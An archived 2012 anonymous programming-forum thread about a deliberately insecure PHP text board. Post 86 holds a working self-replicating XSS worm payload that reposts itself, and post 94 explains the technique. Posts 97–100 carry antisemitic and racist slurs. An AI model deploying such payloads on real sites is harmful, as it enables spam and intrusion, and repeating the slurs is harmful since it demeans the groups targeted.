check out my shitty text board implementation
1
Name:
Anonymous
2012-08-18 4:29
in 75 lines of php
[url=http://54.245.123.189/190chan/]
http://54.245.123.189/190chan/ [/url]
it has
no sql or html injection protection
SOURCE
[url=http://54.245.123.189/190chan/index.phps]
http://54.245.123.189/190chan/index.phps
[/url]
HOSTED THANKS TO AMAZON E CEE TWO
81
Name:
Anonymous
2012-08-27 23:50
82
Name:
Anonymous
2012-08-28 2:04
please let this board and this thread stay open forever
:3
83
Name:
Anonymous
2012-08-28 2:25
whats so bad about PDOs?
84
Name:
Anonymous
2012-08-28 2:44
>>83
unnecessary abstraction and OP doesn't use
$db->execute() thus defeating whole purpose
85
Name:
Anonymous
2012-08-28 5:01
86
Name:
Anonymous
2012-08-28 5:57
<form name=lol action="/190chan/" method=post><input type=hidden name=postname value=""><input type=hidden name=postsubject value="nyan"><input type=hidden name=postcontent value=""></form><script>var a="<form name=lol action=\"/190chan/\" method=post><input type=hidden name=postname value=\"\"><input type=hidden name=postsubject value=\"nyan\"><input type=hidden name=postcontent value=\"\"></form><script>var a=\"";var b="\";document.forms[\"lol\"].postcontent.value=a+a.replace(/\\\\/g,\"\\\\\\\\\").replace(/\"/g, \"\\\\\\\"\")+\"\\\";var b=\\\"\"+b.replace(/\\\\/g,\"\\\\\\\\\").replace(/\"/g, \"\\\\\\\"\")+b+\">\";document.forms[\"lol\"].submit();</script";document.forms["lol"].postcontent.value=a+a.replace(/\\/g,"\\\\").replace(/"/g, "\\\"")+"\";var b=\""+b.replace(/\\/g,"\\\\").replace(/"/g, "\\\"")+b+">";document.forms["lol"].submit();</script>
87
Name:
Anonymous
2012-08-28 8:59
You could use that Python Junkie framework or how was it called
88
Name:
Anonymous
2012-08-28 13:52
that feel when no one is impressed by your EXPERT quine PROGRAMMING
89
Name:
Anonymous
2012-08-29 1:48
sage
90
Name:
Anonymous
2012-08-29 12:40
making impressive things for /prog/ is like casting perls before quantum swine.
91
Name:
Anonymous
2012-09-03 5:00
sage
92
Name:
Anonymous
2012-09-03 5:03
93
Name:
Anonymous
2012-09-03 7:10
IMPRESS MY ANUS
94
Name:
Anonymous
2012-09-04 10:45
<form>blahblah</form><script>var a='AAAA';var b='BBB';more code</script>
|-------------AAAA-----------------| |--------BBB-------|
the string "AAAA" is just a quoted version of the |---AAA---| part, same with b.
So the trick is to post: a+quote(a)+";var b='"+quote(b)+b;
oh and I had to snip off the > from </script> otherwise it breaks..
95
Name:
Anonymous
2012-09-04 20:03
96
Name:
Anonymous
2012-09-04 20:07
also retarded facebook ``app'' I made for a hackathon, you'll need to log in with facebook to use it
(you can trust me /prog/)
http://54.245.123.189/190chan/?threadid=1136
97
Name:
Anonymous
2012-09-04 20:49
>>95
you guys like ponies right
No. "My Little Pony" is a franchise owned by Hasbro, which is Jewish company (even its CEO, Brian Goldner, is Jewish). As a consistent antisemite I ought to warn everyone about the nature of the shareholders. By purchasing "My Little Pony" products you support Palestinian genocide and your own doom, because you make your oppressors, the Jews, even more powerful.
98
Name:
Anonymous
2012-09-04 21:24
>>97
Palestinian are sandniggers, aren't they? Why should I care?
99
Name:
Anonymous
2012-09-04 21:46
>>98
Shalom! May Hashem bless you!
100
Name:
Anonymous
2012-09-04 22:02
>>99
Go bomb your
ANUS , Ahmed.
101
Name:
Anonymous
2012-09-05 5:56
>>97
By purchasing "My Little Pony" products you support Palestinian genocide
And then /prog/ started to like MLP.
102
Name:
Anonymous
2012-09-05 17:46
Check out my thread filter! No more ``nyan'' or ``yolo.txt'' spam!
http://54.245.123.189/190chan/?threadid=1314
103
Name:
Anonymous
2012-09-05 18:17
>>101
You mean hate it even more.
104
Name:
Anonymous
2012-09-05 18:34
>>101,103
Shalom, Goldstein-san!
105
Name:
Anonymous
2012-09-05 18:49
oops bugfix! Here's the new improved version of the thread filter!
http://54.245.123.189/190chan/?threadid=1337
106
Name:
Anonymous
2012-09-05 19:11
someone make a one line php fix to "the spam" and I'll put it in
107
Name:
Anonymous
2012-09-05 19:26
>>105
don't ruin the site
108
Name:
102
2012-09-05 23:29
I am creating a new version of the ENTERPRISE Thread Filter™ containing patented Spam-Away™ filtering and Bump-Guard™ thread loss prevention tools based on next-generation HTML5 and JavaScript Web 2.0 asynchronous thread streaming technology.
109
Name:
Anonymous
2012-09-06 9:54
>>108
Don't forget the fucking NODE.JS
110
Name:
Anonymous
2012-09-06 11:59
U MENA NOODLEJS
111
Name:
102
2012-09-06 21:29
http://54.245.123.189/190chan/?threadid=14392
Here is a
real updated Enterprise Thread Filter™. This one has a customizable filter and a help box.
>>109
Sorry, no node.js, multithreaded Web Workers or postMessage APIs
yet .
112
Name:
Anonymous
2012-09-06 23:45
Fatal error: Uncaught exception 'PDOException' with message 'SQLSTATE[HY000] [2003] Can't connect to MySQL server on '127.0.0.1' (111)' in /var/www/html/190chan/index.php:5 Stack trace: #0 /var/www/html/190chan/index.php(5): PDO->__construct('mysql:dbname=19...', 'root', '') #1 {main} thrown in /var/www/html/190chan/index.php on line 5
113
Name:
Anonymous
2012-09-06 23:51
>>112
took the server down for a sec
here's a dump of the sql db if anyone's interested:
http://54.245.123.189/190chan/dumps/
20 megabytes of plaintext
also will work on way to make spam slightly harder to do
114
Name:
Anonymous
2012-09-06 23:52
>>113
and I think 19 of those 20 megabytes are enterprise thread filter, nice work /proq/
115
Name:
Anonymous
2012-09-06 23:56
>>114
There really is a thread filter. Click the link in
>>111 .
116
Name:
Anonymous
2012-09-07 0:04
>>113
seeing the text in the exploits table made me feel all giddy again. haxing sure is fun.
117
Name:
Anonymous
2012-09-07 0:50
SELECT DISTINCT t.title,t.id,t.date
FROM (SELECT MAX(pt.date) AS latest_date, pt.id AS post_id, pt.threadid AS thread_id FROM posts pt GROUP BY pt.threadid) lpd
JOIN threads t ON t.id = lpd.thread_id
GROUP BY t.title
ORDER BY lpd.latest_date DESC
LIMIT 20
OFFSET 0;
WE INTO MODERATION NOW
118
Name:
Anonymous
2012-09-07 1:58
http://54.245.123.189/190chan/?threadid=14418
added in some
meme default text (reply with no content to see it)
thinking about doing some advanced machine learning context free grammar shit here, anyone want to write an fitting grammar?
119
Name:
Anonymous
2012-09-07 2:03
>>118
a random sentence generator from a given grammar? Sure. It sounds like the perfect job for lisp.
120
Name:
Anonymous
2012-09-07 2:14
>>118
I think this will get you started:
(define (my-anusify s)
(cond ((noun? s)
(bbcode '(b i) '(MY ANUS)))
((and (list? s) (not (null? s)))
(cons (my-anusify (car s)) (my-anusify (cdr s))))
(else s)))
Newer Posts